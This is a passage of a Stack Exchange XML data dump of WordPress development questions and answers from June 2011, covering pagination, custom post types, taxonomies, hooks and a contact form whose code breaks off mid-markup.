  <row Id="20047" PostTypeId="1" CreationDate="2011-06-15T04:32:08.347" Score="1" ViewCount="120" Body="&lt;p&gt;I am trying to show all the posts of a particular category on my home page. There are over 70 posts in that category. I would like have a pagination so that only 10 posts are displayed and have pagination set so users can move to next page by clicking the page nos.&#xA;Can this be possible?&#xA;Here is the current code that i have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   global $post;&#xA;        $args = array( 'numberposts' =&amp;gt; 5, 'offset'=&amp;gt; 0, 'ORDER BY'=&amp;gt;'date', 'order'=&amp;gt;'desc','category' =&amp;gt; 1 );&#xA;        $myposts = get_posts( $args );&#xA;        foreach( $myposts as $post ) :  setup_postdata($post); &#xA;          //  while(have_posts()):the_post();&#xA;            $attrs = array(&#xA;        'src'   =&amp;gt; $src,&#xA;        'class' =&amp;gt; &quot;&quot;,&#xA;        'alt'   =&amp;gt; get_the_title(),&#xA;        'title' =&amp;gt; get_the_title(),&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prady&lt;/p&gt;&#xA;" OwnerUserId="5682" LastActivityDate="2011-06-15T05:35:07.793" Title="how do we display all posts from a particular category in homepage?" Tags="&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="20048" PostTypeId="2" ParentId="20047" CreationDate="2011-06-15T05:35:07.793" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;examples&lt;/a&gt; on the Codex for &lt;code&gt;get_posts();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for pagination, there are &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=pagination&quot; rel=&quot;nofollow&quot;&gt;many plugins&lt;/a&gt; available, this one for example : &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-paginate/&quot; rel=&quot;nofollow&quot;&gt;WP-Paginate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-15T05:35:07.793" />
  <row Id="20049" PostTypeId="2" ParentId="18758" CreationDate="2011-06-15T05:46:20.517" Score="0" ViewCount="" Body="&lt;p&gt;I use the Next Gen Smooth Gallery plug in which is a small additional plugin which makes customizing slideshows and galleries from the nextgen plug in VERY easy.&lt;/p&gt;&#xA;" OwnerUserId="6206" LastActivityDate="2011-06-15T05:46:20.517" />
  <row Id="20050" PostTypeId="1" AcceptedAnswerId="20114" CreationDate="2011-06-15T05:51:12.613" Score="2" ViewCount="53" Body="&lt;p&gt;Feedburner won't read your feed if it's over 512k. Our podcast (http://herdingcode.com) has been around for 3 years now, and returning all items puts us way over that limit. We've had new listeners request that we include them all, though, and I'm wondering if that's easily possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I could hack around with feed-rss2.php and add some conditional logic that puts full details for the most recent 75 shows and truncated descriptions for all the older shows. Has someone already done this, or got some tips on how to set it up?&lt;/p&gt;&#xA;" OwnerUserId="6085" LastActivityDate="2011-06-15T19:55:16.690" Title="How can I minimize the content of my RSS feed to fit more items in Feedburner's 512k limit?" Tags="&lt;rss&gt;&lt;feed&gt;&lt;feedburner&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20051" PostTypeId="2" ParentId="668" CreationDate="2011-06-15T06:14:10.107" Score="1" ViewCount="" Body="&lt;p&gt;Speed optimization analysis and improvement&lt;/p&gt;&#xA;" OwnerUserId="6206" LastActivityDate="2011-06-15T06:14:10.107" CommunityOwnedDate="2011-06-15T06:14:10.107" />
  <row Id="20052" PostTypeId="2" ParentId="20044" CreationDate="2011-06-15T06:41:12.890" Score="0" ViewCount="" Body="&lt;p&gt;In Wordpress plugin,they are using lot of functions inherit from predefined functions.so if you are delete a line means that specific function will not work.so only error caused.Is this clear for you? &lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-15T06:41:12.890" CommunityOwnedDate="2011-06-15T06:41:12.890" CommentCount="2" />
  <row Id="20053" PostTypeId="2" ParentId="20031" CreationDate="2011-06-15T06:48:21.033" Score="0" ViewCount="" Body="&lt;p&gt;Check it out this Link &lt;a href=&quot;http://www.simplehelp.net/2008/08/25/how-to-install-wordpress-on-your-windows-pc/&quot; rel=&quot;nofollow&quot;&gt;Before &amp;amp; After Install WP&lt;/a&gt; It'll Help  you lot when you move your site in Live. If you need Themes Just visit here &lt;a href=&quot;http://www.freewpthemes.net/&quot; rel=&quot;nofollow&quot;&gt;Themes&lt;/a&gt;. If you are Okay with my answer means give Vote Up me:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-15T06:48:21.033" CommunityOwnedDate="2011-06-15T06:48:21.033" />
  <row Id="20054" PostTypeId="2" ParentId="668" CreationDate="2011-06-15T06:59:40.980" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Custom Post Statues.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ability to define new post / page / post type status's rather than just draft and published. I do believe this is underway though! I'd like to use this to create a new type, called block. Then create content blocks that are related to pages, but not published in feeds, or publicly accesible directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Defining Thumbnail Crop Position&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the thumbnail generation is always centered in the image, but sometimes I have a requirement to crop from top left for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to define the crop coordinates would be wonderful. Currently these changes are only possible by editing the core media file, as the thumbnail function uses no filters.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2011-06-15T06:59:40.980" CommunityOwnedDate="2011-06-15T06:59:40.980" CommentCount="2" />
  <row Id="20056" PostTypeId="1" AcceptedAnswerId="20057" CreationDate="2011-06-15T07:51:36.943" Score="2" ViewCount="155" Body="&lt;p&gt;I find myself creating pages just as a &quot;placeholder&quot; to a listing page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. I create a page &quot;Blog&quot; and &quot;Portfolio&quot;. Both has the editor emtpy. And I just use it so that I can use &lt;code&gt;page-blog.php&lt;/code&gt; and &lt;code&gt;page-portfolio.php&lt;/code&gt; for the respective listing pages. It doesnt seem proper? Is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-06-15T08:00:00.740" LastActivityDate="2011-06-15T12:12:24.777" Title="Is it proper to create a page just to generate a listing page (eg. for a custom post type)" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;page&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="20057" PostTypeId="2" ParentId="20056" CreationDate="2011-06-15T08:12:24.373" Score="5" ViewCount="" Body="&lt;p&gt;I guess another way would be including &lt;code&gt;'has_archive' =&amp;gt; true,&lt;/code&gt; into your register_post_type array and using archive-{posttype}.php to style your custom post type listings&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-15T08:12:24.373" />
  <row Id="20058" PostTypeId="2" ParentId="20044" CreationDate="2011-06-15T08:23:15.520" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&lt;/a&gt;&#xA;&lt;code&gt;wp_head()&lt;/code&gt; is the hook, where many plugins add their javascript, for instance, to include the script into the head area before the body tag.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-15T08:23:15.520" CommentCount="1" />
  <row Id="20059" PostTypeId="1" AcceptedAnswerId="20069" CreationDate="2011-06-15T08:57:50.523" Score="0" ViewCount="58" Body="&lt;p&gt;I created a meta box I notice that &lt;code&gt;save_post&lt;/code&gt; seems to be triggered when I land on the page, thus giving me errors like &lt;code&gt;Undefined index: xxx in /data/www/ae/wp-content/themes/xx/functions.php on line 121&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', function($id) {&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return;&#xA;    }&#xA;    if (!isset($_POST) || !is_array($_POST)) {&#xA;        return;&#xA;    }&#xA;    update_post_meta($id, 'xxx', sprintf('%f', $_POST['xxx']));&#xA;    ...&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-15T15:41:30.070" Title="Why is save_post triggered even when I havent saved the post" Tags="&lt;theme-development&gt;&lt;metabox&gt;" AnswerCount="1" />
  <row Id="20060" PostTypeId="1" AcceptedAnswerId="20068" CreationDate="2011-06-15T09:19:49.767" Score="2" ViewCount="97" Body="&lt;p&gt;I'm trying to automatically create terms in a certain taxonomy when a certain custom post type is published. The newly created term must be the name of the post that was published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: I have a custom post type &quot;country&quot; and a custom taxonomy &quot;country_taxo&quot;. When I publish a country say &quot;Kenya&quot; I want a the term &quot;Kenya&quot; to be automatically created under the &quot;country_taxo&quot; taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have accomplished this using the &quot;publish_(custom_post_type) action hook&quot;, but i can only get it to work statically. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This snippet adds the term &quot;Kenya&quot; to &quot;country_taxo&quot; taxonomy whenever &#xA;// a country custom post type is published.&#xA;&#xA;add_action('publish_country', 'add_country_term');&#xA;function add_country_term() {&#xA;    wp_insert_term( 'Keyna', 'country_taxo');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like I mentioned above I need this to dynamically add the post title as the term. I tried this, but it doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('publish_country', 'add_country_term');&#xA;function add_country_term($post_ID) {&#xA;    global $wpdb;&#xA;    $country_post_name = $post-&amp;gt;post_name;&#xA;    wp_insert_term( $country_post_name, 'country_taxo');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I would go about doing this? Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6209" LastActivityDate="2011-06-15T11:50:19.500" Title="Dynamically Create Terms in Taxonomy when Custom Post Type is Published. Almost There!" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;add-action&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="20061" PostTypeId="2" ParentId="12270" CreationDate="2011-06-15T09:43:17.120" Score="0" ViewCount="" Body="&lt;p&gt;TheDeadMedic answer is real one.in Suppose you like to get from plugin means follow the below Link.It'll Helpful for you.This Plugin is very Famous &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;Gallery&lt;/a&gt;.You are Clear with my solution?:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-15T09:43:17.120" />
  <row Id="20062" PostTypeId="1" AcceptedAnswerId="20064" CreationDate="2011-06-15T09:54:34.793" Score="0" ViewCount="96" Body="&lt;p&gt;Suppose I have a Custom Taxonomy &quot;Fruits&quot;. I want to query for all the values available eg. Oranges, Apples, Mangos etc. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-15T10:07:41.077" Title="How can I query for all values of a custom taxonomies?" Tags="&lt;custom-taxonomy&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="20063" PostTypeId="2" ParentId="20041" CreationDate="2011-06-15T10:03:35.027" Score="3" ViewCount="" Body="&lt;p&gt;Your log shows that MySQL is performing a linear scan of all table records to get the necessary row - this is because there is no index for &lt;code&gt;guid&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming wp_rb_posts is just the normal posts table with a slightly modified prefix, then you can just add an index for that field, and you'll see a dramatic improvement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SQL statement for doing this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE INDEX guid ON wp_rb_posts(guid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-06-15T10:18:49.653" LastActivityDate="2011-06-15T10:18:49.653" CommentCount="4" />
  <row Id="20064" PostTypeId="2" ParentId="20062" CreationDate="2011-06-15T10:07:41.077" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;get_terms($taxonomy, $args)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms('Fruits'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;Codex page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-15T10:07:41.077" />
  <row Id="20065" PostTypeId="1" CreationDate="2011-06-15T10:50:10.213" Score="3" ViewCount="133" Body="&lt;p&gt;I'm not sure if I have done this correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I have a class foo and a static method bar I can register that as the callback by passing the array &lt;code&gt;array(&quot;foo&quot;,&quot;bar&quot;)&lt;/code&gt; as the function name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have an instance of a class in $foo and want to call the method bar I pass the array &lt;code&gt;array($foo,'bar')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I need to register an action inside the class itself would it work with &lt;code&gt;array($this,'bar')&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="6210" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-15T14:21:12.080" LastActivityDate="2011-08-17T23:36:10.633" Title="Registering Class methods as hook callbacks" Tags="&lt;plugins&gt;&lt;hooks&gt;&lt;oop&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20066" PostTypeId="2" ParentId="16524" CreationDate="2011-06-15T11:14:03.210" Score="2" ViewCount="" Body="&lt;p&gt;Still looking myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some exploring I decided to use the &lt;a href=&quot;http://wordpress.org/extend/plugins/term-menu-order/&quot; rel=&quot;nofollow&quot;&gt;Term Menu Order&lt;/a&gt; plugin by @jameslafferty. This will add menu_order to the terms table and can be used across taxonomies and templates. @TheDeadMedic seems to have enhanced this functionality &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12256/&quot;&gt;over here&lt;/a&gt;, discussing a similar issue.&lt;/p&gt;&#xA;" OwnerUserId="5388" LastActivityDate="2011-06-15T11:14:03.210" />
  <row Id="20067" PostTypeId="1" CreationDate="2011-06-15T11:33:52.720" Score="0" ViewCount="42" Body="&lt;p&gt;I have 3 custom post types, each of these CPT's shares the taxonomies of &quot;Location&quot; and &quot;Region&quot; yesterday i added my terms to &quot;Region&quot; Taxonomy (all regions of Spain) and later on i added my terms to &quot;Location&quot; Taxonomy&quot; (hundreds of Spanish towns)..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After i had done i took a look at a dropdown i have that shows the terms from the &quot;Location&quot; taxonomy, straight away i noticed that the dropdown was appended also with the terms from the &quot;Region&quot; taxonomy.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also looked at the dropdown i have for &quot;Region&quot; taxonomy, all is good there and it just shows the regions as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So whats happened to make the other (Location) taxonomy show also the &quot;Region&quot; terms, the code i have for registering Location taxonomy is:&lt;br&gt;&#xA;    add_action( 'init', 'create_location_taxonomy', 0 );&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_location_taxonomy() {&#xA;&#xA;$labels = array(&#xA;    'name' =&amp;gt; _x( 'Location', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Location', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search Location' ),&#xA;    'all_items' =&amp;gt; __( 'All Locations' ),&#xA;    'parent_item' =&amp;gt; __( 'Parent Location' ),&#xA;    'parent_item_colon' =&amp;gt; __( 'Parent Location:' ),&#xA;    'edit_item' =&amp;gt; __( 'Edit Location' ),&#xA;    'update_item' =&amp;gt; __( 'Update Location' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Location' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Location Name' ),&#xA;);    &#xA;&#xA;register_taxonomy('location',array('sales','rentals','business'), array(&#xA;'hierarchical' =&amp;gt; true,&#xA;'labels' =&amp;gt; $labels,&#xA;'show_ui' =&amp;gt; true,&#xA;'query_var' =&amp;gt; true,&#xA;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'spain' ),&#xA;));&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the code for showing the dropdown of the location taxonomy terms is:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_location_dropdown($taxonomies, $args){&#xA;                      $myterms = get_terms($taxonomies, $args);&#xA;                                 $output =&quot;&amp;lt;select name=\&quot;location\&quot; id=\&quot;location\&quot;&amp;gt;&amp;lt;option value=\&quot;\&quot;&amp;gt;Select Location&amp;lt;/option&amp;gt;&quot;;&#xA;              foreach($myterms as $term){&#xA;                        $term_taxonomy=$term-&amp;gt;taxonomy;&#xA;                        $term_slug=$term-&amp;gt;slug;&#xA;                        $term_name =$term-&amp;gt;name;&#xA;                        $selector_value = $term_slug;&#xA;                        $output .=&quot;&amp;lt;option value='&quot;.$selector_value.&quot;'&amp;gt;&quot;.$term_name.&quot;&amp;lt;/option&amp;gt;&quot;;&#xA;                   }&#xA;                  $output .=&quot;&amp;lt;/select&amp;gt;&quot;;&#xA;                  return $output;&#xA;               }&#xA;&#xA;                  $taxonomies = array('location');&#xA;                   $args = array('orderby'=&amp;gt;'ID', 'order'=&amp;gt;'ASC','hide_empty'=&amp;gt;false);&#xA;                   echo get_location_dropdown($taxonomies, $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-15T11:33:52.720" Title="Taxonomy terms merged into other taxonomy when added via wp-admin" Tags="&lt;taxonomy&gt;&lt;terms&gt;&lt;dropdown&gt;&lt;merged&gt;&lt;register&gt;" FavoriteCount="1" />
  <row Id="20068" PostTypeId="2" ParentId="20060" CreationDate="2011-06-15T11:50:19.500" Score="1" ViewCount="" Body="&lt;p&gt;You're &lt;em&gt;almost&lt;/em&gt; there - the problem is you're trying to access the &lt;code&gt;$post&lt;/code&gt; &lt;em&gt;object&lt;/em&gt; when the function only receives the post &lt;em&gt;ID&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'publish_country', 'add_country_term' );&#xA;function add_country_term( $post_ID ) {&#xA;    $post = get_post( $post_ID ); // get post object&#xA;    wp_insert_term( $post-&amp;gt;post_title, 'country_taxo' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-15T11:50:19.500" CommentCount="1" />
  <row Id="20069" PostTypeId="2" ParentId="20059" CreationDate="2011-06-15T11:54:19.090" Score="2" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19538/why-does-save-post-action-fire-when-creating-a-new-post/19539#19539&quot;&gt;Why does save_post action fire when creating a new post?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're getting the error as you need to check for the existence of &lt;code&gt;$_POST['xxx']&lt;/code&gt;, rather than just checking if &lt;code&gt;$_POST&lt;/code&gt; is set (it will &lt;em&gt;always&lt;/em&gt; be set &amp;amp; an empty array by default).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', function($id) {&#xA;    if ( ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) || !isset( $_POST['xxx'] ) )&#xA;        return;&#xA;&#xA;    update_post_meta( $id, 'xxx', sprintf( '%f', $_POST['xxx'] ) );&#xA;    // run further code&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-15T15:41:30.070" LastActivityDate="2011-06-15T15:41:30.070" />
  <row Id="20070" PostTypeId="1" CreationDate="2011-06-15T12:08:49.073" Score="0" ViewCount="94" Body="&lt;p&gt;I've got a snippet of code on a page template that is supposed to only pull in posts from the post_format 'gallery' or posts with the category 'gallery'. The problem is it is pulling in all posts, and has no pagination working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pagedargs = wp_parse_args($query_string);&#xA;$args = array(&#xA;    'tax_query' =&amp;gt; array(&#xA;    'relation' =&amp;gt; 'OR',&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'post_format',&#xA;        'terms' =&amp;gt; array('post-format-gallery'),&#xA;        'field' =&amp;gt; 'slug',&#xA;    ),&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'category',&#xA;        'terms' =&amp;gt; array('gallery'),&#xA;        'field' =&amp;gt; 'slug',&#xA;    ),&#xA;),&#xA;'paged' =&amp;gt; $pagedargs['paged'],&#xA;);&#xA;$the_query = new WP_Query( $args );&#xA;&#xA;// set $more to 0 in order to only get the first part of the post&#xA;global $more;&#xA;$more = 0;&#xA;&#xA;while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();    &#xA;blah blah blah&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a modification from Otto's gallery primer post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ottopress.com/2011/photo-gallery-primer/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2011/photo-gallery-primer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using his function using query_posts, that did not work, pulled in all posts, so I tried to modify to the new wp_query above, but get same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it matters I am running wp3.2rc1nightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any obvious errors anyone can spot for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--this new way of grabbing posts is really cool but I don't see where I am going wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**I would love to know why when I paste code into this box it only shows the first line as code. I hit the space bar 4x, then paste in code.. is that wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I started with, which I prefer as it works with removing the more where the code pasted above doesn't.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    $args = wp_parse_args($query_string);&#xA;&#xA;                query_posts(array(&#xA;                        'tax_query' =&amp;gt; array(&#xA;                                'relation' =&amp;gt; 'OR',&#xA;                                array(&#xA;                                        'taxonomy' =&amp;gt; 'post_format',&#xA;                                        'terms' =&amp;gt; array('post-format-gallery'),&#xA;                                        'field' =&amp;gt; 'slug',&#xA;                                ),&#xA;                                array(&#xA;                                        'taxonomy' =&amp;gt; 'category',&#xA;                                        'terms' =&amp;gt; array('gallery'),&#xA;                                        'field' =&amp;gt; 'slug',&#xA;                                ),&#xA;                        ),&#xA;                        'paged' =&amp;gt; $args['paged'],&#xA;                ) );&#xA;                // set $more to 0 in order to only get the first part of the post&#xA;                global $more;&#xA;                $more = 0;&#xA;&#xA;                    while ( have_posts() ) : the_post();        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that doesn't work though, pulls in first 5 posts, with no paging either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second example code works in case anyone finds this question and tries to replicate&lt;/p&gt;&#xA;" OwnerUserId="370" LastEditorUserId="370" LastEditorDisplayName="" LastEditDate="2011-06-15T21:23:18.090" LastActivityDate="2011-06-15T21:23:18.090" Title="wp 3.1 multi query taxonomy system question" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;multi-taxonomy-query&gt;" CommentCount="6" FavoriteCount="1" />
  <row Id="20071" PostTypeId="2" ParentId="20056" CreationDate="2011-06-15T12:12:24.777" Score="1" ViewCount="" Body="&lt;p&gt;I only use 'placeholder' pages if I'm listing just a few custom post types with no pagination (or any other miscellaneous data for that fact), so that the end user still has control over the things like the title &amp;amp; content (which you can use for introductory text and so forth).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has the advantage of getting listed in &lt;code&gt;wp_list_pages()&lt;/code&gt;, which is handy if you're using it for navigation elsewhere in your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as @Daniel said, if you want to make benefit of a full-blown archive with pagination &amp;amp; feeds, opt for the &lt;code&gt;has_archive&lt;/code&gt; arg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to use a different slug for the archive as opposed to the single post, just for clarity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/product/my-single-product/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/product/my-single-product/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And for archives;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/products/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/products/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/products/page/2&quot; rel=&quot;nofollow&quot;&gt;http://example.com/products/page/2&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/products/feed/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/products/feed/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code for it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( array(&#xA;    'rewrite' =&amp;gt; array(&#xA;        'slug' =&amp;gt; 'product', // defaults to post type name&#xA;        'with_front' =&amp;gt; true, // prepends slug to single posts, default true&#xA;        'pages' =&amp;gt; true, // support pagination, default true&#xA;        'feeds' =&amp;gt; true // support feeds, default matches 'has_archive'&#xA;     ),&#xA;&#xA;     'has_archive' =&amp;gt; 'products' // if bool true, defaults to rewrite slug&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-15T12:12:24.777" CommentCount="2" />
  <row Id="20072" PostTypeId="2" ParentId="12056" CreationDate="2011-06-15T12:23:21.690" Score="-1" ViewCount="" Body="&lt;p&gt;I know it sounds stupid but where do you put this code ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is quite exactly what I wish to do (as a first step) and If I succedd will go further. Anyway for now I don't understand in which part you put this code ?&#xA;is is when declaring your custom post type ? or the meta box ? or elsewhere.&#xA;I can't figure this out… I've got an error and beside I even did not understand where and what &quot;custom meta&quot; you use here. for exemple &#xA;My cpt is &quot;project&quot; and the meta is &quot;ref_project&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any hints would be nice.&lt;/p&gt;&#xA;" OwnerUserId="6212" LastActivityDate="2011-06-15T12:23:21.690" CommentCount="1" />
  <row Id="20073" PostTypeId="1" AcceptedAnswerId="20079" CreationDate="2011-06-15T12:59:39.967" Score="3" ViewCount="63" Body="&lt;p&gt;I have a contact form that I used lot's of times before on other non WP sites but it doesn't seem to work on my &lt;a href=&quot;http://teamworksdesign.com/v2/contact-us/&quot; rel=&quot;nofollow&quot;&gt;current WP site&lt;/a&gt;, it just redirects you to a page not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use any plugins to create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class=&quot;form&quot; method=&quot;POST&quot; action=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;table border=&quot;0&quot; style=&quot;float:left;&quot;&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                &amp;lt;p&amp;gt;Company Name:&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;companyname&quot; id=&quot;companyname&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                